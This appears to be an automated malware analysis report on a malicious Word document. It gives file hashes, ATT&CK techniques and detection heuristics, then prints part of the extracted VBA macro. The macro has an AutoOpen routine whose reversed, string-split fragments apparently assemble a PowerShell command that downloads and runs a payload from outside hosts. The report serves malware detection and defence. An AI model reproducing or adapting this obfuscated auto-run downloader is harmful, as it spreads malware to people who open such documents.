Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 eb43e3356564325e…

MALICIOUS

Office (OLE)

108.0 KB Created: 2018-02-08 05:24:00 Authoring application: Microsoft Office Word First seen: 2018-02-19
MD5: aaf94f09f37f78fdc7b489e1b9dd60d7 SHA-1: d3e71e67b73f23e4cf187c0e7987848eecf20500 SHA-256: eb43e3356564325eae59f4ee9b8afde489ddcd58acd3f6a83d942645ae671d5e
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a legacy WordBasic AutoOpen macro that utilizes the Shell() function, indicating an attempt to execute arbitrary code. The ClamAV detection 'Img.Dropper.PhishingLure-6443153-0' further supports its malicious nature. The macro's primary function appears to be executing a secondary payload, though the exact nature of the payload is obfuscated.

Heuristics 7

  • ClamAV: Img.Dropper.PhishingLure-6443153-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Img.Dropper.PhishingLure-6443153-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 26710 bytes
SHA-256: 5cfb29ba6f5f3feefcca82847962bfb311d057af8c777ce715800efc34d0effb
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "mhPozai"
Sub AutoOpen()
On Error Resume Next
cIDhJsPFi = LMkVCGUjGDC - pUFUPiDVYVQW / (2952079 + wbPBtUttflZj - 6237645 + cWUsJtSicocjB)
IEpvNFVHt = FJhpvpTujB - sBBXNVOP / (9891351 + YMSkpppMdKj - 6751920 + OibEXtI)
twfpQDoYz = HstshwPEFAii - rcJwmol / (3296329 + VrhbhcUmARNtD - 8197979 + JhmMzRsdLuoMG)
Application.Run "sLWAsAl", wTIEWAbnS
EBjNTQWCK = PmkTzMU - nmUoFCZR / (4900426 + NWjtPNiwiza - 7594434 + mwbWZOwsQq)
mAamPwjoB = tooZVXWlBiVhz - ipdfzDbkw / (6032562 + spbSBBKZwazKCB - 477823 + MrlVEAIDZTAow)
End Sub
Function wTIEWAbnS()
On Error Resume Next
cJhsrjj = zuVTvDQ - ALOvEjnwpc / (4395634 + PwAZSKMazoNf - 9734084 + QkOfiBjTaXVTZ)
JJDfFC = nGDpihmBuvAl - pXLwiwRQCjJtV / (418359 + XcDzlbnqlYwRAP - 8137465 + fzJrwPZnX)
vjZXM = UkXtvNfq - RsBzPBjaZlf / (3175115 + MRiwLKz - 1529714 + QbdHDTs)
quSTbc = jjPdRaEsRFP + Mid(StrReverse("RiWLvHYvkjloMWfHJnK7s1+7s1+oWK= UYoWK+oWKYJD3oWK+oWK;oWK+oWKmoNsl+NslWK+o'+'WKodoWK+oWNsl+NslKnoWK+oWKar oWK'+'+oWNsl+NslK)oWK+oWKhruthoWK+oWKru+hoWK+oWKruN'+'BQS"), 4, 141)
aQvCpDD = zBsrSYFOwBUqV - caWIzNhzC / (8695597 + PnrBzRU - 6993281 + DOjlofNdd)
UwXndUZ = RTPJzDblsCGC - wkCkONzkzGCLNq / (6998336 + SzETUbnAi - 8804737 + YfciMAPkBmuzPi)
mcYZfo = SMMzkNqSZDCjiX - CGUQbEWYqLwFjh / (4624260 + ooWJaojJkhMDiJ - 3198155 + NDjofzCtvoVm)
SnqFLcJu = jmKlYZdztqP + Mid(StrReverse("FjjAqDaSszumiBLITHl+Nslahc[+111Nsl+Nsl]raNsl+Ns7s1+7s1lhc[+94]rahc[((ecALpER.)Ns7skmHYlX"), 7, 64)
wabAwtKI = ftrTthuN - jzjToldNmSuXd / (5071856 + BavVczjVPUU - 1790746 + bunrYPb)
hNiuz = SjYIfAkvfnCTQ - SlYltzbUz / (3954117 + blrfCwNzmjr - 4383423 + wwvajhRq)
sIIrNN = KcCSnWbMzkEj - OsQcooU / (5745821 + bOMouEBkSCmp - 5328848 + ckLrXZlGS)
iUvpctdqTli = HHlBDNuIOXOZ + Mid(StrReverse("OsUzlMKpMNLNfsCkvtlpuZINo3[eMOhS'+'pkqc+]4[EmoHSpkqc (&7s1+7s1 ai7s1+7s1t)93]RahC[7s1+7s1,)17s1+7s111]RahC[+78]RahC[+57]RahC7s1+7s1[(eCalPeR-63]RahC[,)18]Ra7s1+7s1hC'+'7s1+7s1['+zqhurIpz"), 9, 153)
BNvJzFnU = wbXLNSBt - mdnsczwDv / (4071816 + fwKBrcZZQhzPpd - 2635570 + AOYnQmdwZ)
uDzdzKi = OPfZDjfqbB - WTltcdhnN / (9548819 + PhwpXhfsT - 2660430 + UNJtrdSkwCM)
ZLDSAWd = iunuoJwJLZzAwc - IzLiiDuzX / (6825125 + lDUdwMCiSukm - 8265479 + WEQuOIuOPKmn)
pJZJbvSp = sjCKHsdVHcAn + Mid(StrReverse("FCzmQITakOURS7s1WMS/7s1+7s1bulc.oWK+oNsl+Nsl7s1+7s1WKnufsooWK+oWKedioWK+oWKvsoW'+'K+oWK'+'k'IvoMEppBE"), 10, 79)
oDnPwEzF = amzQKUYLUzLw - FIanWoKrLsZ / (7345030 + zUbkKiPjUbKi - 892430 + laTURzGpHkSBEi)
tTIjKTGvYt = PuYibUEkjphiu - hQIStYRrYHob / (1891122 + qRIaltEh - 7349078 + cahqkfk)
JcodbABi = MEZUJjKFY - VQpzKrtRjG / (9392771 + jAdIpSr - 5271686 + tWZPFmWH)
fMVFzm = dvkuQLGYso + Mid(StrReverse("RijhuzXYzmwHIoWK+oWK:po7s1+7s1WK+oWKtoWK+oWKth7s1+7s1'+'?/NoWK+oWKrFoWK+oWKKoWK+oWK7s1+QvJtzmYS"), 9, 74)
TarwIBSwjaQ = SwiRLYZqBurNwQ - uPjFEXKGrQf / (9926412 + IwLDBfousHEjN - 6105382 + fXSYPjbu)
uIisOr = KlYIsmBjYlhCi - MRchBHfZrrDbT / (9544009 + jEhDSsQ - 1280825 + CFGYHbzEwiGH)
jJWcnsTK = CZmNktjEQTEZp - AwPvwKvivBHR / (3048780 + zfkrzwBHQEIWac - 7298076 + CwSuzFjmKwsX)
zmXpWCskRY = PjVjLVKdPp + Mid(StrReverse("jna+oWK:voWK'+'+oWKneJoWK+oWKD3oWK+oWK = Nsl+N'+'sloWK+oWKCDSNsl7s1+7s1+NslJoWK+oWKD3oWK+oWK;oWK+oW7s1'+'+7s1K)hrNsl+Nsl'+'outOBTKRqQdNMZmWEB"), 19, 120)
Euwjv = shLnZkTsIzI - VwuwwjCDddfwos / (7562047 + AEpYZPFXVw - 7021066 + ZiVmwUIq)
PnwKWOGjEI = mkfYoBOC - whzvsEJk / (4888942 + rWczwqi - 9816120 + tAUjzMNT)
RvkGn = zkOqVIzD - dmQcNuDwn / (1891895 + jhKCGJMizAji - 7090193 + korBBUz)
OqdBt = lGTdmEliMas + Mid(StrReverse("IRWhPtGshiIvsrUOQUpuiXWEnvOqTaSoWK?/FoWK+oWKI'+'coW'+'K+oWKEoWK+oW'+'K/mocoWK+oWK.7s1+7s1oWK+oW'+'K21roW7s1+7s1K+oWKeoWK+oWKveloWK+oWKcoWK+oWK/oNsl+Ns'+'lWK+oWNsl+NslK/:pttoW7s1+7s1K+v"), 2, 152)
mKztZXhI = aMjLwVFOu - fbcGLzmp / (7309332 + FIpOsZERCKaCa - 3630314 + fRpXdoOHE)
wWwujMCW
... (truncated)

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